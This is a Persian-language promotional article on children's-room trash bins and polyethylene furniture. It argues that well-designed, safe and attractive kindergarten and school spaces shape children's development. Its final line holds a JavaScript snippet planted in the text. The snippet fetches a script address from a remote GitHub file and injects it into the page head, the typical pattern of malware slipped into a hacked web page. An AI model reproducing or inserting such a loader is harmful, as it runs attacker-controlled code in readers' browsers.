سطل اتاق کودک

فواید استفاده از سطل اتاق کودک

بدون شک اگر کودک از سال های اول زندگی با نظافت اشنا باشد. تاثیر زیادی در رشد او دارد.و سطل اتاق کودک بسیار تاثیر گذار است. در سال های اخیر با بهره گیری از علم روانشناسی محیط, تاثیر بسیاری از عوامل و عناصر محیطی بر رفتار کودکان و نیز قدرت درک و یادگیری انان تحلیل و بررسی شده است. برای داشتن یک سیستم اموزشی کارامد. نیاز فراوان به داشتن محیط و فضایی با قابلیت های در خور و مطلوب نیازهای روحی و روانی کودکان احساس شده. در زندگی مدرن امروزی, این یک حقیقت شناخته شده است. که انسان ها بیشتر زمان خود را در محیط های مصنوعی و ساخته دست بشر می گذرانند.

انسان ها در خانه زندگی می کنند. در مدارس یاد می گیرند, در ادارات کار می کنند, با وسایل نقلیه حرکت کرده و به طور مداوم با محیط کالبدی در ارتباط هستند. محیط های فیزیکی اطراف انسان نقش مهمی در معنا دهی و سازمان بخشی به زندگی او بازی می کنند. تحقیقات نشان داده اند بسیاری از ناهنجاری های رفتاری در جوامع شهری ضمن داشتن ریشه های تاریخی و فرهنگی و … در کیفیت فضای اموزشی و کاری و سکونتی افراد نیز نهفته است, که این مطلب دلیلی بر اهمیت کیقیت فضایی می باشد. در این میان فضای اموزشی کودکان اهمیت بسیار زیادی می یابد.

طراحی فضا های ویژه کودکان از ان جهت اهمیت دارد که در طول این سال ها, کودک از محیط تاثیر بیشتری می گیرد … بزرگسالان درباره محیط خود دست به تفکر و تامل زده اما کودکان به طور کلی مجذوب محیط می شوند و ان را جذب و درونسازی می کنند . کودکان چیزهایی که جذبشان می کند فقط به خاطر نمی سپارند بلکه از نظر روانی تاثیر نیرومندی بر انان می گذارد و به مفهومی از خود دست می یابند.

به همین دلیل این دوران را دوران سرنوشت سازی نام گذاشته اند.
در یک نگاه سیستمی, چگونگی معماری. تجهیز محیط های اموزشی کودکان به ویژه مهد کودکها و مدارس ابتدایی می تواند اثرات قابل توجهی بر روی کودکان باقی بگذارد .وجود تجهیزات زیبا و ایمن و بهداشتی (نیمکت پلی اتیلنی کودک. ) در فضای کودک محیط را زیبا و یادگیری را اسان می کند. مهم ترین ویژگی های طراحی در ارتباط با محیط های کودکان را می توان در زیر خلاصه کرد :

• 1- در دسترس بودن و نطم :

وجود تجهیزات متنوع نظیر سطل اشغال. نیمکت های زیبا و صندلی های مناسب با رنگ های جذاب. جالباسی های خاص و متفاوت و وسایل های بازی ایمن در برابر ضربه و اتفاق های ناگهانی. (پلی اتیلنی) سالن های غذاخوری زیبا و جداگانه ,فضای بازی منطم با امکانات کافی برای هر مقطع سنی فضا سازی برای استراحت کودکان ,سرویس های بهداشتی متناسب با سن کودکان, تمیز ومنظم و….باعث تغییر رفتار کودک در محیط شده. وی می تواند ضمن کشف محیط اطراف از محدوده های تعریف شده نیز خارج نگردد.

• 2- جذابیت و شگفت انگیزی :

فضاهای کودک باید برانگیزاننده وجذاب باشد. حد متعادلی از پیچیدگی و تنوع و هیجان در فضاهای مختلف ضروری است.

• 3- شایستگی و پاسخ گویی:

کودکان در جستجوی تعاملی موفقیت امیز با محیط هستند تا از حضور در محیط احساس شایستگی نمایند .

• 4 – اسایش وایمنی :

کودک به شرطی در محیط فعالیت می کند که حواس وی در وضع فعال و ایمن باشد .

• 5 – طبیعت گرایی ومنظره پردازی :

درک کودک از طبیعت با فضاهای داخلی کاملا متفاوت است . طبیعت به کودک امکان تغییر و کشف می دهد. کودک را به بازی غنی تشویق و فرصت های یادگیری زیادی را به او می دهد .

• 6 – مشارکت وبازی پذیری :

فضای بازی و توجه به رفع نیاز های کودک زمینه های رشد عاطفی, جسمی, اجتماعی او را براورده می سازد. به امید انکه با کمک این استانداردها و تجهیزات و امکاناتی که در اختیار داریم بتوانیم نیازهای روحی و روانی کودکانمان را براورده سازیم. (var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)